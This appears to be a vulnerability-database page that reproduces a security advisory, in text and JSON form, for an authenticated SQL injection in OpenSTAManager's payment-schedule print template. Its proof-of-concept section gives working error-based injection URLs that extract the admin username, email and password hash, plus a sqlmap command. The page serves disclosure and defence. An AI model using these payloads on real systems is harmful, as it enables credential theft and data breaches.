GHSA-Q6G3-FV43-M2W6
Vulnerability from github – Published: 2026-02-06 18:06 – Updated: 2026-02-10 01:16Summary
An authenticated SQL Injection vulnerability in OpenSTAManager's Scadenzario (Payment Schedule) print template allows any authenticated user to extract sensitive data from the database, including admin credentials, customer information, and financial records. The vulnerability enables complete database read access through error-based SQL injection techniques.
Details
The vulnerability exists in templates/scadenzario/init.php at line 46, where the id_anagrafica parameter is directly concatenated into an SQL query without proper sanitization:
Vulnerable Code:
if (get('id_anagrafica') && get('id_anagrafica') != 'null') {
$module_query = str_replace('1=1', '1=1 AND `co_scadenziario`.`idanagrafica`="'.get('id_anagrafica').'"', $module_query);
$id_anagrafica = get('id_anagrafica');
}
The get() function retrieves user input from GET/POST parameters without validation. The parameter value is directly embedded into the SQL query string using string concatenation instead of using the application's prepare() sanitization function, enabling SQL Injection attacks.
Root Cause:
- Missing use of prepare() function for input sanitization
- Direct string concatenation in SQL query construction
- No input validation or type checking
Affected Endpoint:
/pdfgen.php?ptype=scadenzario&id_anagrafica=[INJECTION_PAYLOAD]
Affected Files:
- templates/scadenzario/init.php (line 46) - Primary vulnerability
- templates/scadenzario/init.php (lines 34, 40) - Similar pattern with date parameters
- pdfgen.php - Entry point for template rendering
PoC (Proof of Concept)
Prerequisites
- Valid authenticated session (any user role)
Exploitation Steps
1. Confirm Vulnerability - Basic Syntax Error Test:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20--%20
SQL syntax error displayed in application response
2. Extract Database Version - Error-Based SQLi:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))%20AND%20%221%22=%221
Result: ~8.3.0~ (MySQL version)
3. Extract Database Name:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,database(),0x7e))%20AND%20%221%22=%221
Result: ~openstamanager~
4. Extract Admin Username:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20username%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
Result: ~admin~
5. Extract Admin Email:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20email%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
Result: Admin email address
6. Extract Password Hash (Partial - XPATH 31 char limit):
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20password%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
Result: bcrypt password hash
7. Automated Exploitation with SQLMap:
Create request file sqli_osm.req:
GET /pdfgen.php?ptype=scadenzario&id_anagrafica=1* HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=[SESSION_COOKIE]
User-Agent: Mozilla/5.0
Run SQLMap:
sqlmap -r sqli_osm.req --level 3 --risk 3 --dbs
SQLMap Confirmed Injection Types: - ✅ Boolean-based blind SQL injection - ✅ Error-based SQL injection (MySQL >= 5.6 GTID_SUBSET) - ✅ Time-based blind SQL injection (SLEEP)
Impact
Who is Impacted: - ✅ All authenticated users - Any user with valid credentials can exploit this vulnerability - ✅ Low-privilege users - Even users with minimal permissions can access admin-level data - ✅ All OpenSTAManager installations - Vulnerability exists in the latest master branch
Attribution
Reported by Łukasz Rybak
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "devcode-it/openstamanager"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.9.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-69216"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-06T18:06:13Z",
"nvd_published_at": "2026-02-06T19:16:07Z",
"severity": "HIGH"
},
"details": "### Summary\nAn **authenticated SQL Injection vulnerability** in OpenSTAManager\u0027s Scadenzario (Payment Schedule) print template allows any authenticated user to extract sensitive data from the database, including admin credentials, customer information, and financial records. The vulnerability enables complete database read access through error-based SQL injection techniques.\n\n### Details\n\nThe vulnerability exists in `templates/scadenzario/init.php` at **line 46**, where the `id_anagrafica` parameter is directly concatenated into an SQL query without proper sanitization:\n\n**Vulnerable Code:**\n```php\nif (get(\u0027id_anagrafica\u0027) \u0026\u0026 get(\u0027id_anagrafica\u0027) != \u0027null\u0027) {\n $module_query = str_replace(\u00271=1\u0027, \u00271=1 AND `co_scadenziario`.`idanagrafica`=\"\u0027.get(\u0027id_anagrafica\u0027).\u0027\"\u0027, $module_query);\n $id_anagrafica = get(\u0027id_anagrafica\u0027);\n}\n```\n\nThe `get()` function retrieves user input from GET/POST parameters without validation. The parameter value is directly embedded into the SQL query string using string concatenation instead of using the application\u0027s `prepare()` sanitization function, enabling SQL Injection attacks.\n\n**Root Cause:**\n- Missing use of `prepare()` function for input sanitization\n- Direct string concatenation in SQL query construction\n- No input validation or type checking\n\n**Affected Endpoint:**\n```\n/pdfgen.php?ptype=scadenzario\u0026id_anagrafica=[INJECTION_PAYLOAD]\n```\n\n**Affected Files:**\n- `templates/scadenzario/init.php` (line 46) - **Primary vulnerability**\n- `templates/scadenzario/init.php` (lines 34, 40) - Similar pattern with date parameters\n- `pdfgen.php` - Entry point for template rendering\n\n\n---\n\n### PoC (Proof of Concept)\n\n#### Prerequisites\n- Valid authenticated session (any user role)\n\n#### Exploitation Steps\n\n**1. Confirm Vulnerability - Basic Syntax Error Test:**\n```bash\n http://localhost:8081/pdfgen.php?ptype=scadenzario\u0026id_anagrafica=1%22%20--%20\n```\n\nSQL syntax error displayed in application response\n\n\u003cimg width=\"2195\" height=\"392\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f62ca7b4-2397-4f90-8698-6cf7f867d102\" /\u003e\n\n---\n\n**2. Extract Database Version - Error-Based SQLi:**\n```bash\nhttp://localhost:8081/pdfgen.php?ptype=scadenzario\u0026id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))%20AND%20%221%22=%221\n```\n\n**Result:** `~8.3.0~` (MySQL version)\n\n\u003cimg width=\"2061\" height=\"378\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8ea16c47-36cc-4c25-a624-b42ccfcdf52f\" /\u003e\n\n---\n\n**3. Extract Database Name:**\n```bash\nhttp://localhost:8081/pdfgen.php?ptype=scadenzario\u0026id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,database(),0x7e))%20AND%20%221%22=%221\n```\n\n**Result:** `~openstamanager~`\n\n\u003cimg width=\"1954\" height=\"345\" alt=\"image\" src=\"https://github.com/user-attachments/assets/47479297-5271-4c03-b242-efa513eb28f8\" /\u003e\n\n---\n\n**4. Extract Admin Username:**\n```bash\nhttp://localhost:8081/pdfgen.php?ptype=scadenzario\u0026id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20username%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221\n```\n\n**Result:** `~admin~`\n\u003cimg width=\"1998\" height=\"332\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9f8363cb-8da9-4e8f-8744-ef38c9706be8\" /\u003e\n\n---\n\n**5. Extract Admin Email:**\n```bash\nhttp://localhost:8081/pdfgen.php?ptype=scadenzario\u0026id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20email%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221\n```\n\n**Result:** Admin email address\n\n\u003cimg width=\"2006\" height=\"339\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4dcd5ea4-4eea-4730-8d39-b8ce2da46e84\" /\u003e\n\n---\n\n**6. Extract Password Hash (Partial - XPATH 31 char limit):**\n```bash\nhttp://localhost:8081/pdfgen.php?ptype=scadenzario\u0026id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20password%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221\n```\n\n**Result:** bcrypt password hash\n\n\u003cimg width=\"1924\" height=\"328\" alt=\"image\" src=\"https://github.com/user-attachments/assets/27b711f3-9bb6-4909-a5bd-a04177c9f219\" /\u003e\n\n---\n\n**7. Automated Exploitation with SQLMap:**\n\nCreate request file `sqli_osm.req`:\n```http\nGET /pdfgen.php?ptype=scadenzario\u0026id_anagrafica=1* HTTP/1.1\nHost: localhost:8081\nCookie: PHPSESSID=[SESSION_COOKIE]\nUser-Agent: Mozilla/5.0\n```\n\nRun SQLMap:\n```bash\nsqlmap -r sqli_osm.req --level 3 --risk 3 --dbs\n```\n\n**SQLMap Confirmed Injection Types:**\n- \u2705 Boolean-based blind SQL injection\n- \u2705 Error-based SQL injection (MySQL \u003e= 5.6 GTID_SUBSET)\n- \u2705 Time-based blind SQL injection (SLEEP)\n\n\u003cimg width=\"1498\" height=\"516\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b733f025-ac4b-4b36-a20e-76d826005f62\" /\u003e\n\n---\n\n### Impact\n\n**Who is Impacted:**\n- \u2705 **All authenticated users** - Any user with valid credentials can exploit this vulnerability\n- \u2705 **Low-privilege users** - Even users with minimal permissions can access admin-level data\n- \u2705 **All OpenSTAManager installations** - Vulnerability exists in the latest master branch\n---\n\n### Attribution\nReported by \u0141ukasz Rybak",
"id": "GHSA-q6g3-fv43-m2w6",
"modified": "2026-02-10T01:16:54Z",
"published": "2026-02-06T18:06:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-q6g3-fv43-m2w6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69216"
},
{
"type": "PACKAGE",
"url": "https://github.com/devcode-it/openstamanager"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenSTAManager has a SQL Injection in Scadenzario Print Template"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.